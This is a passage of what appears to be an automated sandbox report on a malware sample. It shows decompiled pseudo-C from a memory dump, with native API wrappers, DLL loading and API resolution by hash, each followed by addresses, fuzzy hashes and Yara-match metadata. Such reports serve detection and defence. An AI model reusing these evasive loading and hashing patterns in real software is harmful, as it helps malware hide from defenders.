				_a21 = _a21 >> 0x55;
				_t17 = _a4;
				_t5 = _t17 + 0xc40; // 0xc40
				E0041A960(_t33, _a4, _t5,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t23 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t23;
			}

0x00419d5d
0x00419d63
0x00419d6f
0x00419d77
0x00419dad
0x00419db1

APIs

NtCreateFile.NTDLL(00000060,00409CD3,?,00414B87,00409CD3,FFFFFFFF,?,?,FFFFFFFF,00409CD3,00414B87,?,00409CD3,00000060,00000000,00000000), ref: 00419DAD

Strings

U, xrefs: 00419D5D

Memory Dump Source

Source File: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID: U
API String ID: 823142352-3372436214
Opcode ID: b48e8af83ab1fa7129cf3a856df758814241a1d67651ffac608d92b04c3818d4
Instruction ID: 0ecc1f259e353f1aedd2b6da1ffd1d6813b637172127a466756acdc956f94e33
Opcode Fuzzy Hash: b48e8af83ab1fa7129cf3a856df758814241a1d67651ffac608d92b04c3818d4
Instruction Fuzzy Hash: FE01B2B2215208ABCB08CF88DC95EEB37E9AF8C754F158248FA1D97241C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACD0, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACD0(void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t30;
				void* _t31;
				void* _t32;

				_t24 = _a8;
				_v8 =  &_v536;
				_t15 = E0041C650( &_v12, 0x104, _a8);
				_t31 = _t30 + 0xc;
				if(_t15 != 0) {
					_t17 = E0041CA70(_v8, _t24, __eflags, _v8);
					_t32 = _t31 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E0041CCF0( &_v12, 0);
						_t32 = _t32 + 8;
					}
					_t18 = E0041AEA0(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x0040acd9
0x0040acec
0x0040acef
0x0040acf4
0x0040acf9
0x0040ad03
0x0040ad08
0x0040ad0b
0x0040ad0d
0x0040ad15
0x0040ad1a
0x0040ad1a
0x0040ad21
0x0040ad29
0x0040ad2c
0x0040ad2e
0x0040ad42
0x00000000
0x0040ad44
0x0040ad4a
0x0040acfe
0x0040acfe
0x0040acfe

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD42

Memory Dump Source

Source File: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction ID: b21dceb9c17b581325113e7f9749888d8b8163c3e846858d6705abbd9991eecb
Opcode Fuzzy Hash: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction Fuzzy Hash: A8015EB5D4020DBBDF10DBA5DC82FDEB3789F54308F0041AAE909A7281F635EB548B96

Uniqueness

Uniqueness Score: -1.00%

Function 00419D60, Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419D60(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;
				void* _t31;

				_t3 = _a4 + 0xc40; // 0xc40
				E0041A960(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x00419d6f
0x00419d77
0x00419dad
0x00419db1

APIs

NtCreateFile.NTDLL(00000060,00409CD3,?,00414B87,00409CD3,FFFFFFFF,?,?,FFFFFFFF,00409CD3,00414B87,?,00409CD3,00000060,00000000,00000000), ref: 00419DAD

Memory Dump Source

Source File: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 5d405ca8330a7760d33d8cb8f94c0e61ce0ec213ce21d6c827413d184fac496c
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: F1F0B2B2211208ABCB08CF89DC85EEB77ADAF8C754F158248BA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419E8A, Relevance: 1.5, APIs: 1, Instructions: 25
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00419E8A(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t12;

				_pop(_t9);
				asm("lock loope 0x73");
				asm("out 0x55, eax");
				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x40a923
				E0041A960(_t12, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x00419e8a
0x00419e8b
0x00419e8f
0x00419e93
0x00419e96
0x00419e9f
0x00419ea7
0x00419eb5
0x00419eb9

APIs

NtClose.NTDLL(00414D20,?,?,00414D20,00409CD3,FFFFFFFF), ref: 00419EB5

Memory Dump Source

Source File: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: b898b10ed37f73ee457b4ee55b743b243c52ee174a8fa96423fcc5a3cae97736
Instruction ID: 58703a99195d55ca86410b247c4f7bed8e39fca0326c1b5473da2249cf414dbc
Opcode Fuzzy Hash: b898b10ed37f73ee457b4ee55b743b243c52ee174a8fa96423fcc5a3cae97736
Instruction Fuzzy Hash: 02E086751002187BD724DB94CC85EE77B5CEF48B60F15445ABA1C9BA41D530F94086D0

Uniqueness

Uniqueness Score: -1.00%

Function 00419E90, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419E90(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t11;

				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x40a923
				E0041A960(_t11, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x00419e93
0x00419e96
0x00419e9f
0x00419ea7
0x00419eb5
0x00419eb9

APIs

NtClose.NTDLL(00414D20,?,?,00414D20,00409CD3,FFFFFFFF), ref: 00419EB5

Memory Dump Source

Source File: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: e68336ecf97fcbff1cce52d5eab911d0c0d253976a6ab71543f56f2ca0e2158f
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: 6CD012752002146BD710EB99CC85ED7776CEF44760F154459BA5C5B242C530F55086E0

Uniqueness

Uniqueness Score: -1.00%

Function 05729540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0572954A

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bf18b95d85d47bb4f4c33aea073724355defc50634cccaf0800923ffbaaecc5c
Instruction ID: 3957fa794d7be012c457e9d72653755b6373c9d82090976ec833f887b4c4b019
Opcode Fuzzy Hash: bf18b95d85d47bb4f4c33aea073724355defc50634cccaf0800923ffbaaecc5c
Instruction Fuzzy Hash: E4900265221000070215A5590745507005697E93E2391C031F1005551DD76188717161

Uniqueness

Uniqueness Score: -1.00%

Function 05729910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0572991A

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 49e17ff7b3bdb95e6f81be6a35bce63ab5e67086d1ee98ca0ca6e6222c7deac9
Instruction ID: ca3f45de169fda8d566280846c49f96fa199a8e5013ded2d8fe3a8585c3300b5
Opcode Fuzzy Hash: 49e17ff7b3bdb95e6f81be6a35bce63ab5e67086d1ee98ca0ca6e6222c7deac9
Instruction Fuzzy Hash: 059002B121100406D25071594445746001597E4392F91C021A5054555F87998DE576A5

Uniqueness

Uniqueness Score: -1.00%

Function 057295D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 057295DA

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 06168ff5541d3342adbec8aa48a0b961f66eb198c4c9a5ff9a73393829faac2b
Instruction ID: 1793558e5614c0c9a635732221faf02e5d3f8b8b83f3c4f4b8432539e27d4a21
Opcode Fuzzy Hash: 06168ff5541d3342adbec8aa48a0b961f66eb198c4c9a5ff9a73393829faac2b
Instruction Fuzzy Hash: 8A9002A121200007421571594455616401A97F4292B91C031E1004591EC66588A17165

Uniqueness

Uniqueness Score: -1.00%

Function 057299A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 057299AA

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 319d1918eb384dc0ced122621970053ab2304cab4e234cff449230be1ca142f3
Instruction ID: 618fabaef1f7b67d51772e15251676ad8940c0647dbbf6963cec5ee77ce98775
Opcode Fuzzy Hash: 319d1918eb384dc0ced122621970053ab2304cab4e234cff449230be1ca142f3
Instruction Fuzzy Hash: BC9002A135100446D21061594455B060015D7F5392F91C025E1054555E8759CC627166

Uniqueness

Uniqueness Score: -1.00%

Function 05729860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0572986A

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 04e98ad2f3c6615deeaefd36a25ed159d10063c0d601858b731c13f1a0125164
Instruction ID: 98485eefc33a8a3798e1ce04a5147ded7ba889735a7fef8bf74c2d69d3d1e6af
Opcode Fuzzy Hash: 04e98ad2f3c6615deeaefd36a25ed159d10063c0d601858b731c13f1a0125164
Instruction Fuzzy Hash: FF90027121100417D22161594545707001997E42D2FD1C422A0414559E97968962B161

Uniqueness

Uniqueness Score: -1.00%

Function 05729840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0572984A

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 35afdc38200b55db0b405eca0f6202cbbcbed17ab5c08a122de1729a8e96f024
Instruction ID: 0f1e9d517783d2c70cd7e67aa04ada3b1551fc00abedcec2a2d47109a262abf2
Opcode Fuzzy Hash: 35afdc38200b55db0b405eca0f6202cbbcbed17ab5c08a122de1729a8e96f024
Instruction Fuzzy Hash: 87900261252041565655B15944455074016A7F42D27D1C022A1404951D86669866F661

Uniqueness

Uniqueness Score: -1.00%

Function 05729710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0572971A

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: aeecf35a2a21a133af455a0112bc709383c14751e2e587cb03ccbbc7edacaff5
Instruction ID: 1dfd47a85d2ed395ab85b045046f72d96be230963ca5ccd468634a69f47bb896
Opcode Fuzzy Hash: aeecf35a2a21a133af455a0112bc709383c14751e2e587cb03ccbbc7edacaff5
Instruction Fuzzy Hash: B890027121100406D21065995449646001597F4392F91D021A5014556FC7A588A17171

Uniqueness

Uniqueness Score: -1.00%

Function 057297A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 057297AA

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a2ebe242c51a5721d93af9f51a2e9aec87ac12ed5ef3810d9700a2ab90ef4812
Instruction ID: 057592a1997a0bffa32dc564c3abf14b9953118d5a273aa5a5550e6df73e7df8
Opcode Fuzzy Hash: a2ebe242c51a5721d93af9f51a2e9aec87ac12ed5ef3810d9700a2ab90ef4812
Instruction Fuzzy Hash: A190026131100007D250715954596064015E7F5392F91D021E0404555DDA5588667262

Uniqueness

Uniqueness Score: -1.00%

Function 05729780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0572978A

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a7dc5866a5b12c903c0f26bde5088b93601282aa2f65c4e33e72e10418a3fdef
Instruction ID: 1b55565a0fdf624484d92739f91aa8f8889d9b517a47aa4977096e505a7f0667
Opcode Fuzzy Hash: a7dc5866a5b12c903c0f26bde5088b93601282aa2f65c4e33e72e10418a3fdef
Instruction Fuzzy Hash: CB90026922300006D2907159544960A001597E5293FD1D425A0005559DCA5588797361

Uniqueness

Uniqueness Score: -1.00%

Function 05729A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05729A5A

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4346e67e46675aa295ca556e125600c00f4df1eee1d37f2c65d06270edc92154
Instruction ID: 4511df3f88ed303471d81557198002ce4bd1de76c2f5c805eecdd3d0cf49e1a9
Opcode Fuzzy Hash: 4346e67e46675aa295ca556e125600c00f4df1eee1d37f2c65d06270edc92154
Instruction Fuzzy Hash: 9D90026122180046D31065694C55B07001597E4393F91C125A0144555DCA5588717561

Uniqueness

Uniqueness Score: -1.00%

Function 05729A20, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05729A2A

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3b59e9280ebec6c6cb6269b1880d9cb85929d2d5a9f65ff4ef8239df89872019
Instruction ID: a3bed22a4638f410108e035ae4e09950a5552ceebf045424259957a4ae50f697
Opcode Fuzzy Hash: 3b59e9280ebec6c6cb6269b1880d9cb85929d2d5a9f65ff4ef8239df89872019
Instruction Fuzzy Hash: 82900261611000464250716988859064015BBF52A2791C131A0988551E8699887576A5

Uniqueness

Uniqueness Score: -1.00%

Function 057296E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 057296EA

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cd0f6caa1532134af0edd13b937262851dfbbb38985fac225a677eae58a5ba4b
Instruction ID: ef454a66011d0eacd504c61e5190bbfe42e5462108923dfe24ad3f7312ea8a8d
Opcode Fuzzy Hash: cd0f6caa1532134af0edd13b937262851dfbbb38985fac225a677eae58a5ba4b
Instruction Fuzzy Hash: C290027121108806D2206159844574A001597E4392F95C421A4414659E87D588A17161

Uniqueness

Uniqueness Score: -1.00%

Function 00409A90, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00409A90(intOrPtr _a4) {
				intOrPtr _v8;
				char _v24;
				char _v284;
				char _v804;
				char _v840;
				void* _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t39;
				void* _t50;
				intOrPtr _t52;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t56;

				_t52 = _a4;
				_t39 = 0; // executed
				_t24 = E00407E80(_t52,  &_v24); // executed
				_t54 = _t53 + 8;
				if(_t24 != 0) {
					E00408090( &_v24,  &_v840);
					_t55 = _t54 + 8;
					do {
						E0041B810( &_v284, 0x104);
						E0041BE80( &_v284,  &_v804);
						_t56 = _t55 + 0x10;
						_t50 = 0x4f;
						while(1) {
							_t31 = E00414DC0(E00414D60(_t52, _t50),  &_v284);
							_t56 = _t56 + 0x10;
							if(_t31 != 0) {
								break;
							}
							_t50 = _t50 + 1;
							if(_t50 <= 0x62) {
								continue;
							} else {
							}
							goto L8;
						}
						_t9 = _t52 + 0x14; // 0xffffe045
						 *(_t52 + 0x474) =  *(_t52 + 0x474) ^  *_t9;
						_t39 = 1;
						L8:
						_t33 = E004080C0( &_v24,  &_v840);
						_t55 = _t56 + 8;
					} while (_t33 != 0 && _t39 == 0);
					_t34 = E00408140(_t52,  &_v24); // executed
					if(_t39 == 0) {
						asm("rdtsc");
						asm("rdtsc");
						_v8 = _t34 - 0 + _t34;
						 *((intOrPtr*)(_t52 + 0x55c)) =  *((intOrPtr*)(_t52 + 0x55c)) + 0xffffffba;
					}
					 *((intOrPtr*)(_t52 + 0x31)) =  *((intOrPtr*)(_t52 + 0x31)) + _t39;
					_t20 = _t52 + 0x31; // 0x5608758b
					 *((intOrPtr*)(_t52 + 0x32)) =  *((intOrPtr*)(_t52 + 0x32)) +  *_t20 + 1;
					return 1;
				} else {
					return _t24;
				}
			}

0x00409a9b
0x00409aa3
0x00409aa5
0x00409aaa
0x00409aaf
0x00409ac2
0x00409ac7
0x00409ad0
0x00409adc
0x00409aef
0x00409af4
0x00409af7
0x00409b00
0x00409b12
0x00409b17
0x00409b1c
0x00000000
0x00000000
0x00409b1e
0x00409b22
0x00000000
0x00000000
0x00409b24
0x00000000
0x00409b22
0x00409b26
0x00409b29
0x00409b2f
0x00409b31
0x00409b3c
0x00409b41
0x00409b44
0x00409b51
0x00409b5c
0x00409b5e
0x00409b64
0x00409b68
0x00409b6b
0x00409b6b
0x00409b72
0x00409b75
0x00409b7a
0x00409b87
0x00409ab6
0x00409ab6
0x00409ab6

Memory Dump Source

Source File: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1da3a0a51de53f8e4f95f41efafe70bd92c6e1b826fb8f0c5d51986441d80343
Instruction ID: 3804b4b6881f0f279124858c5e35b72bf87e4fbc11d5a75f000cd7e24852ad46
Opcode Fuzzy Hash: 1da3a0a51de53f8e4f95f41efafe70bd92c6e1b826fb8f0c5d51986441d80343
Instruction Fuzzy Hash: 64213CB2D4020857CB25D664AD42AEF737CEB54308F04017FE949A3182F7387E49CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004082EA, Relevance: 1.6, APIs: 1, Instructions: 56
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E004082EA(void* __eax, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t14;
				int _t15;
				long _t22;
				int _t27;
				void* _t30;
				void* _t32;
				void* _t37;

				asm("fcomp qword [edx-0x74aa1603]");
				_t30 = _t32;
				_v68 = 0;
				E0041B860( &_v67, 0, 0x3f);
				E0041C400( &_v68, 3);
				_t14 = E0040ACD0(_t37, _a4 + 0x1c,  &_v68); // executed
				_t15 = E00414E20(_a4 + 0x1c, _t14, 0, 0, 0xc4e7b6d6);
				_t27 = _t15;
				if(_t27 != 0) {
					_t22 = _a8;
					_t15 = PostThreadMessageW(_t22, 0x111, 0, 0); // executed
					if(_t15 == 0) {
						_t15 =  *_t27(_t22, 0x8003, _t30 + (E0040A460(1, 8) & 0x000000ff) - 0x40, _t15);
					}
				}
				return _t15;
			}

0x004082ec
0x004082f1
0x004082ff
0x00408303
0x0040830e
0x0040831e
0x0040832e
0x00408333
0x0040833a
0x0040833d
0x0040834a
0x0040834e
0x0040836b
0x0040836b
0x0040836d
0x00408372

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040834A

Memory Dump Source

Source File: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 4e23822c86d86cfc0aa2f1c10c15cb23370e4a3e39196690550920d5949fe68c
Instruction ID: cfa00a07b1aa70c4f127d76168ec66dfc5b8fa0f0f423e136a247d81e356ac5a
Opcode Fuzzy Hash: 4e23822c86d86cfc0aa2f1c10c15cb23370e4a3e39196690550920d5949fe68c
Instruction Fuzzy Hash: E4014031A402187AE72066558C43FFE772CAB40F55F04401DFF04B91C1D6B8290647E9

Uniqueness

Uniqueness Score: -1.00%

Function 004082F0, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E004082F0(void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t21;
				intOrPtr* _t25;
				void* _t26;
				void* _t30;

				_t30 = __eflags;
				_v68 = 0;
				E0041B860( &_v67, 0, 0x3f);
				E0041C400( &_v68, 3);
				_t12 = E0040ACD0(_t30, _a4 + 0x1c,  &_v68); // executed
				_t13 = E00414E20(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
				_t25 = _t13;
				if(_t25 != 0) {
					_t21 = _a8;
					_t14 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
					if(_t14 == 0) {
						_t14 =  *_t25(_t21, 0x8003, _t26 + (E0040A460(1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x004082f0
0x004082ff
0x00408303
0x0040830e
0x0040831e
0x0040832e
0x00408333
0x0040833a
0x0040833d
0x0040834a
0x0040834e
0x0040836b
0x0040836b
0x00000000
0x0040836d
0x00408372

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040834A

Memory Dump Source

Source File: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: afab1aa1c4a0f2d606ceb08e1db99e52839e25c93945885a0af06a200761294b
Instruction ID: 99221eaed4bb2b1c73ef210b546efabe7985b039c1aa6a3efaa8447a865c7254
Opcode Fuzzy Hash: afab1aa1c4a0f2d606ceb08e1db99e52839e25c93945885a0af06a200761294b
Instruction Fuzzy Hash: 7601D831A8031876E720A6959C43FFE772C6B40F54F044019FF04BA1C1D6A8691646EA

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0A4, Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E0041A0A4(void* __eax, void* __edx, intOrPtr* _a4, int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40, intOrPtr _a44) {
				intOrPtr* _t20;
				intOrPtr _t22;
				char _t27;
				void* _t33;

				_t27 = __edx - 1;
				if(_t27 == 0) {
					_t20 = __eax - 0xc4a30c76;
					asm("loope 0x81");
					if(_t20 > 0) {
						_t20 = _a4;
						_t22 =  *((intOrPtr*)(_t20 + 0xa14));
					}
					 *((char*)(_t27 + _t22)) = _t27;
					 *_t20 =  *_t20 + _t20;
					_push(_t34);
					_t34 = _t20 + 0xc7c;
					E0041A960(_t33, _t20, _t20 + 0xc7c, _t22, 0, 0x36);
					ExitProcess(_a12);
				}
				asm("les edx, [edx+edx*2]");
				return  *((intOrPtr*)( *_t34))(_a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _t22, __eax);
			}

0x0041a0a4
0x0041a0a5
0x0041a0a7
0x0041a0ac
0x0041a0ae
0x0041a0b3
0x0041a0b6
0x0041a0b6
0x0041a0b7
0x0041a0ba
0x0041a0bc
0x0041a0c2
0x0041a0ca
0x0041a0d8
0x0041a0d8
0x0041a109
0x0041a138

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A0D8

Memory Dump Source

Source File: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 76d52d06a02a09366433456c448a014b5b17165752531a60b9cb123cfe6be029
Instruction ID: 613cfd4b8a205081ac7a2eb5e1428e672729e9bde2f84031fe04dfb314773708
Opcode Fuzzy Hash: 76d52d06a02a09366433456c448a014b5b17165752531a60b9cb123cfe6be029
Instruction Fuzzy Hash: 660129B1205109AFCB24DF98DC80DEB77A9AF8C710F158249BA4CA7201D634ED558BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A069, Relevance: 1.5, APIs: 1, Instructions: 28
memoryCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E0041A069(void* __ecx, void* __edx, void* __edi, long _a4, void* _a8) {
				void* _v0;
				intOrPtr _v4;
				char _t11;

				asm("sahf");
				_push(__edi);
				asm("int1");
				_push(_t23);
				_t8 = _v4;
				_t4 = _t8 + 0xc74; // 0xc74
				E0041A960(__edi, _v4, _t4,  *((intOrPtr*)(_v4 + 0x10)), 0, 0x35);
				_t11 = RtlFreeHeap(_v0, _a4, _a8); // executed
				return _t11;
			}

0x0041a069
0x0041a06d
0x0041a06e
0x0041a070
0x0041a073
0x0041a07f
0x0041a087
0x0041a09d
0x0041a0a1

APIs

RtlFreeHeap.NTDLL(00000060,00409CD3,?,?,00409CD3,00000060,00000000,00000000,?,?,00409CD3,?,00000000), ref: 0041A09D

Memory Dump Source

Source File: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 3e811a33a3b65c7b9a9e3b25a06fa4e4141f9cdacb4c54195455881a6481665d
Instruction ID: 7c635586a7735a4f22b24a2a5efc92f724fdd51c2c95f9ab9e21ae08a81323c1
Opcode Fuzzy Hash: 3e811a33a3b65c7b9a9e3b25a06fa4e4141f9cdacb4c54195455881a6481665d
Instruction Fuzzy Hash: 42E0EDB12102046BD714DF55CC85EE777ADEF89660F058559B94857642C630E9548BB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A070, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A070(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;
				void* _t15;

				_t3 = _a4 + 0xc74; // 0xc74
				E0041A960(_t15, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041a07f
0x0041a087
0x0041a09d
0x0041a0a1

APIs

RtlFreeHeap.NTDLL(00000060,00409CD3,?,?,00409CD3,00000060,00000000,00000000,?,?,00409CD3,?,00000000), ref: 0041A09D

Memory Dump Source

Source File: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: ebe44f756a2289fd31ae4d5b5361048190c1dc89d00c79db85c43397b2838655
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: 81E01AB12102086BD714DF59CC45EA777ACEF88750F018559B90857241C630E9108AB0

Uniqueness

